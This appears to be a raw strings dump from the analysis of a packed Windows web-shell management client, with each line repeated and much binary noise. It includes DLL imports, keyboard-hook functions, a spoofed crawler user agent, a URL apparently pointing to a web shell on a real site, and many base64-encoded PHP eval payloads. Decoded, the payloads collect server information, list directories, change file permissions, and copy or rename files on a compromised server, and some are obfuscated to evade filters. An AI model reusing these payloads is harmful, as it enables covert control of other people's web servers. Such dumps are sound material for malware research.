#include "l.chs\afxres.rc" // Standard components
#include "l.chs\afxres.rc" // Standard components
}$d.yX
}$d.yX
advapi32.dll
advapi32.dll
hid.dll
hid.dll
mscoree.dll
mscoree.dll
mscorwks.dll
mscorwks.dll
mscorsvr.dll
mscorsvr.dll
KernelBase.dll
KernelBase.dll
mscoreei.dll
mscoreei.dll
clr.dll
clr.dll
diasymreader.dll
diasymreader.dll
SEGetNumExecUsed
SEGetNumExecUsed
SEGetNumExecLeft
SEGetNumExecLeft
SESetNumExecUsed
SESetNumExecUsed
SEGetExecTimeUsed
SEGetExecTimeUsed
SEGetExecTimeLeft
SEGetExecTimeLeft
SESetExecTime
SESetExecTime
SEGetTotalExecTimeUsed
SEGetTotalExecTimeUsed
SEGetTotalExecTimeLeft
SEGetTotalExecTimeLeft
SESetTotalExecTime
SESetTotalExecTime
SECheckExecTime
SECheckExecTime
SECheckTotalExecTime
SECheckTotalExecTime
&&&&6666????
&&&&6666????
""""****
""""****
2222::::
2222::::
$$$$\\\\
$$$$\\\\
00006666
00006666
####====
####====
IPHLPAPI.DLL
IPHLPAPI.DLL
PSAPI.DLL
PSAPI.DLL
KERNEL32.dll
KERNEL32.dll
RegOpenKeyExA
RegOpenKeyExA
RegCloseKey
RegCloseKey
RegCreateKeyExA
RegCreateKeyExA
RegDeleteKeyA
RegDeleteKeyA
ADVAPI32.dll
ADVAPI32.dll
SHELL32.dll
SHELL32.dll
.ieD:
.ieD:
.ia]k
.ia]k
_b.psj
_b.psj
.Me3_C
.Me3_C
%6sjF
%6sjF
y%FH4X
y%FH4X
9%foT5)
9%foT5)
E.LFOXvK
E.LFOXvK
cl?.dy
cl?.dy
V.ZXb
V.ZXb
2~.bCJ;mN
2~.bCJ;mN
@5.oJ
@5.oJ
g~I^%C
g~I^%C
OLEAUT32.dll
OLEAUT32.dll
WS2_32.dll
WS2_32.dll
WINMM.dll
WINMM.dll
WINSPOOL.DRV
WINSPOOL.DRV
AVIFIL32.dll
AVIFIL32.dll
comdlg32.dll
comdlg32.dll
oledlg.dll
oledlg.dll
WinExec
WinExec
QWS2_32.dll
QWS2_32.dll
4GetCPInfo
4GetCPInfo
SESDKDummy.dll
SESDKDummy.dll
%FreeEnvironmentStringsA
%FreeEnvironmentStringsA
GetWindowsDirectoryA
GetWindowsDirectoryA
CreateDialogIndirectParamA
CreateDialogIndirectParamA
SetWindowsHookExA
SetWindowsHookExA
hUnhookWindowsHookEx
hUnhookWindowsHookEx
GetKeyState
GetKeyState
ÞstroyAcceleratorTable
ÞstroyAcceleratorTable
OffsetViewportOrgEx
OffsetViewportOrgEx
~ISetViewportOrgEx
~ISetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
GetViewportExtEx
(KGetViewportOrgEx
(KGetViewportOrgEx
lcomdlg32.dll
lcomdlg32.dll
ShellExecuteA
ShellExecuteA
;COMCTL32.dll
;COMCTL32.dll
"IPHLPAPI.DLL
"IPHLPAPI.DLL
Safengine Shielden v2.3.9.0
Safengine Shielden v2.3.9.0
,?WINMM.dll
,?WINMM.dll
1, 0, 6, 6
1, 0, 6, 6
- Skin.dll
- Skin.dll
(*.*)
(*.*)
1.1.0.0
1.1.0.0
%original file name%.exe_1804_rwx_00401000_001C3000:
t%SVh
t%SVh
HSShG
HSShG
t$(SSh
t$(SSh
Pht%U
Pht%U
~%UVW
~%UVW
u$SShe
u$SShe
ntdll.dll
ntdll.dll
ole32.dll
ole32.dll
shlwapi.dll
shlwapi.dll
kernel32.dll
kernel32.dll
oleaut32.dll
oleaut32.dll
GetProcessHeap
GetProcessHeap
CreateIoCompletionPort
CreateIoCompletionPort
{A068799B-7551-46b9-8CA8-EEF8357AFEA4}
{A068799B-7551-46b9-8CA8-EEF8357AFEA4}
{E5000198-4471-40e2-92BC-D0BA075BDBB2}
{E5000198-4471-40e2-92BC-D0BA075BDBB2}
WinHttp.WinHttpRequest.5.1
WinHttp.WinHttpRequest.5.1
Mozilla/5.0 (compatible; Baiduspider/2.0; hXXp://VVV.baidu.com/search/spider.html) Mozilla/5.0 (compatible; Googlebot/2.1; hXXp://VVV.google.com/bot.html)
Mozilla/5.0 (compatible; Baiduspider/2.0; hXXp://VVV.baidu.com/search/spider.html) Mozilla/5.0 (compatible; Googlebot/2.1; hXXp://VVV.google.com/bot.html)
%d.%d.%d.%d
%d.%d.%d.%d
MSScriptControl.ScriptControl
MSScriptControl.ScriptControl
N@1.1.1.1
N@1.1.1.1
Baiduspider ( hXXp://VVV.baidu.com/search/spider.htm)
Baiduspider ( hXXp://VVV.baidu.com/search/spider.htm)
.rsrc
.rsrc
%S4WD
%S4WD
hg%fpM
hg%fpM
S.Ac9SR
S.Ac9SR
0.I%3s
0.I%3s
,wAe.kI
,wAe.kI
aiUy'4xu
aiUy'4xu
%c*@j
%c*@j
.eH'y
.eH'y
{&%U)
{&%U)
lj%4U
lj%4U
xe%CNs
xe%CNs
9F.cLe
9F.cLe
hJK.ZH
hJK.ZH
O.qt0
O.qt0
KERNEL32.DLL
KERNEL32.DLL
COMCTL32.dll
COMCTL32.dll
GDI32.dll
GDI32.dll
MSIMG32.dll
MSIMG32.dll
MSVCRT.dll
MSVCRT.dll
MSVFW32.dll
MSVFW32.dll
USER32.dll
USER32.dll
SkinH_EL.dll
SkinH_EL.dll
hXXp://
hXXp://
hXXp://aaa.com/a.php
hXXp://aaa.com/a.php
hXXp://aaa.com/a.php
hXXp://aaa.com/a.php
.VXTN)
.VXTN)
\.ct}
\.ct}
d:/freehost/yiyaoqianyan/web/400056.asp
d:/freehost/yiyaoqianyan/web/400056.asp
hXXp://VVV.yiyaoqianyan.com.cn//11m.asp
hXXp://VVV.yiyaoqianyan.com.cn//11m.asp
1.hXXp://aaa.com/a.php|pass
2.hXXp://aaa.com/a.php|pass
1.hXXp://aaa.com/a.php|pass
2.hXXp://aaa.com/a.php|pass
{PASS}
{PASS}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpeyREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTt9JERpc2tzID0gYXJyYXkoKTtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKXtpZihpc19kaXIoInskTH06IikpJERpc2tzW109InskTH06Ijt9fSR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk/QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFI9cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7JGFyciA9IGFycmF5KCdXZWJSb290JyA9PiAkRCwgJ0Rpc2tBcnJheScgPT4gJERpc2tzLCdTeXN0ZW1JbmZvJyA9PiAkUik7ZWNobyBqc29uX2VuY29kZSgkYXJyKTtlY2hvKCJ8PC0iKTtkaWUoKTs=
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpeyREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTt9JERpc2tzID0gYXJyYXkoKTtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKXtpZihpc19kaXIoInskTH06IikpJERpc2tzW109InskTH06Ijt9fSR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk/QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFI9cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7JGFyciA9IGFycmF5KCdXZWJSb290JyA9PiAkRCwgJ0Rpc2tBcnJheScgPT4gJERpc2tzLCdTeXN0ZW1JbmZvJyA9PiAkUik7ZWNobyBqc29uX2VuY29kZSgkYXJyKTtlY2hvKCJ8PC0iKTtkaWUoKTs=
application/x-www-form-urlencoded
application/x-www-form-urlencoded
{PASS}=@eval/*â„¢Ã!s ˨Ãã£ÅÄ»ÅÎ*/(${'_P'.'OST'}[z9]/* ›?Àš?à ™? ™ã*/(${'_POS'.'T'}[z0]));&z0=OTY0Mzg5O0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7ZnVuY3Rpb24gc2V0X3dyaXRlYWJsZSgkZmlsZV9uYW1lKXtpZihAY2htb2QoJGZpbGVfbmFtZSxiYXNlX2NvbnZlcnQoYmFzZTY0X2RlY29kZSgkX1BPU1RbIngyIl0pLDgsMTApKSl7ZWNobyAiMSI7fWVsc2V7ZWNobyAiLTEiO319c2V0X3dyaXRlYWJsZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsieDEiXSkpO2VjaG8oInw8LSIpOztkaWUoKTs=&x1={PATH}&x2={MODE}&z9=BaSE64_dEcOdE
{PASS}=@eval/*â„¢Ã!s ˨Ãã£ÅÄ»ÅÎ*/(${'_P'.'OST'}[z9]/* ›?Àš?à ™? ™ã*/(${'_POS'.'T'}[z0]));&z0=OTY0Mzg5O0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7ZnVuY3Rpb24gc2V0X3dyaXRlYWJsZSgkZmlsZV9uYW1lKXtpZihAY2htb2QoJGZpbGVfbmFtZSxiYXNlX2NvbnZlcnQoYmFzZTY0X2RlY29kZSgkX1BPU1RbIngyIl0pLDgsMTApKSl7ZWNobyAiMSI7fWVsc2V7ZWNobyAiLTEiO319c2V0X3dyaXRlYWJsZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsieDEiXSkpO2VjaG8oInw8LSIpOztkaWUoKTs=&x1={PATH}&x2={MODE}&z9=BaSE64_dEcOdE
BaSE64_dEcOdE
BaSE64_dEcOdE
{PASS}=@eval/*â„¢Ã!s ˨Ãã£ÅÄ»ÅÎ*/(${'_P'.'OST'}[z9]/* ›?Àš?à ™? ™ã*/(${'_POS'.'T'}[z0]));&z0=ODAwODgyO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk/JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk/JF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7&z9=BaSE64_dEcOdE
{PASS}=@eval/*â„¢Ã!s ˨Ãã£ÅÄ»ÅÎ*/(${'_P'.'OST'}[z9]/* ›?Àš?à ™? ™ã*/(${'_POS'.'T'}[z0]));&z0=ODAwODgyO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk/JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk/JF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7&z9=BaSE64_dEcOdE
->|{PASS}=@eval/**/($_POST[z9]/**/($_POST[z0]));&z0=MTM3NzM3O0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk/JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk/JF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7&z9=BaSE64_dEcOdE
->|{PASS}=@eval/**/($_POST[z9]/**/($_POST[z0]));&z0=MTM3NzM3O0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk/JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk/JF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7&z9=BaSE64_dEcOdE
{PASS}=@eval/*â„¢Ã!s ˨Ãã£ÅÄ»ÅÎ*/(${'_P'.'OST'}[z9]/* ›?Àš?à ™? ™ã*/(${'_POS'.'T'}[z0]));&z0=MjA0ODEzO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9YmFzZTY0X2RlY29kZShnZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCItMSIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9InwiLiRULiJ8Ii5AZmlsZXNpemUoJFApLiJ8Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUi4iXHJcbiI7ZWxzZSAkTC49JE4uJFIuIlxyXG4iO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs=&z9=BaSE64_dEcOdE&z1={PATH}
{PASS}=@eval/*â„¢Ã!s ˨Ãã£ÅÄ»ÅÎ*/(${'_P'.'OST'}[z9]/* ›?Àš?à ™? ™ã*/(${'_POS'.'T'}[z0]));&z0=MjA0ODEzO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9YmFzZTY0X2RlY29kZShnZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCItMSIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9InwiLiRULiJ8Ii5AZmlsZXNpemUoJFApLiJ8Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUi4iXHJcbiI7ZWxzZSAkTC49JE4uJFIuIlxyXG4iO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs=&z9=BaSE64_dEcOdE&z1={PATH}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRmYz0kbT9zdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKTokX1BPU1RbInoxIl07JGZwPSRtP3N0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pOiRfUE9TVFsiejIiXTtmdW5jdGlvbiB4Y29weSgkc3JjLCRkZXN0KXtpZihpc19maWxlKCRzcmMpKXtpZighY29weSgkc3JjLCRkZXN0KSlyZXR1cm4gZmFsc2U7ZWxzZSByZXR1cm4gdHJ1ZTt9JG09QGRpcigkc3JjKTtpZighaXNfZGlyKCRkZXN0KSlpZighQG1rZGlyKCRkZXN0KSlyZXR1cm4gZmFsc2U7d2hpbGUoJGY9JG0tPnJlYWQoKSl7JGlzcmM9JHNyYy5jaHIoNDcpLiRmOyRpZGVzdD0kZGVzdC5jaHIoNDcpLiRmO2lmKChpc19kaXIoJGlzcmMpKSYmKCRmIT1jaHIoNDYpKSYmKCRmIT1jaHIoNDYpLmNocig0NikpKXtpZigheGNvcHkoJGlzcmMsJGlkZXN0KSlyZXR1cm4gZmFsc2U7fWVsc2UgaWYoaXNfZmlsZSgkaXNyYykpe2lmKCFjb3B5KCRpc3JjLCRpZGVzdCkpcmV0dXJuIGZhbHNlO319cmV0dXJuIHRydWU7fWVjaG8oeGNvcHkoJGZjLCRmcCk/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==&z1={PATH1}&z2={PATH2}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRmYz0kbT9zdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKTokX1BPU1RbInoxIl07JGZwPSRtP3N0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pOiRfUE9TVFsiejIiXTtmdW5jdGlvbiB4Y29weSgkc3JjLCRkZXN0KXtpZihpc19maWxlKCRzcmMpKXtpZighY29weSgkc3JjLCRkZXN0KSlyZXR1cm4gZmFsc2U7ZWxzZSByZXR1cm4gdHJ1ZTt9JG09QGRpcigkc3JjKTtpZighaXNfZGlyKCRkZXN0KSlpZighQG1rZGlyKCRkZXN0KSlyZXR1cm4gZmFsc2U7d2hpbGUoJGY9JG0tPnJlYWQoKSl7JGlzcmM9JHNyYy5jaHIoNDcpLiRmOyRpZGVzdD0kZGVzdC5jaHIoNDcpLiRmO2lmKChpc19kaXIoJGlzcmMpKSYmKCRmIT1jaHIoNDYpKSYmKCRmIT1jaHIoNDYpLmNocig0NikpKXtpZigheGNvcHkoJGlzcmMsJGlkZXN0KSlyZXR1cm4gZmFsc2U7fWVsc2UgaWYoaXNfZmlsZSgkaXNyYykpe2lmKCFjb3B5KCRpc3JjLCRpZGVzdCkpcmV0dXJuIGZhbHNlO319cmV0dXJuIHRydWU7fWVjaG8oeGNvcHkoJGZjLCRmcCk/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==&z1={PATH1}&z2={PATH2}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRzcmM9bT9zdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKTokX1BPU1RbInoxIl07JGRzdD1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pOiRfUE9TVFsiejIiXTtlY2hvKHJlbmFtZSgkc3JjLCRkc3QpPyIxIjoiMCIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={PATH1}&z2={PATH2}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRzcmM9bT9zdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKTokX1BPU1RbInoxIl07JGRzdD1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pOiRfUE9TVFsiejIiXTtlY2hvKHJlbmFtZSgkc3JjLCRkc3QpPyIxIjoiMCIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={PATH1}&z2={PATH2}
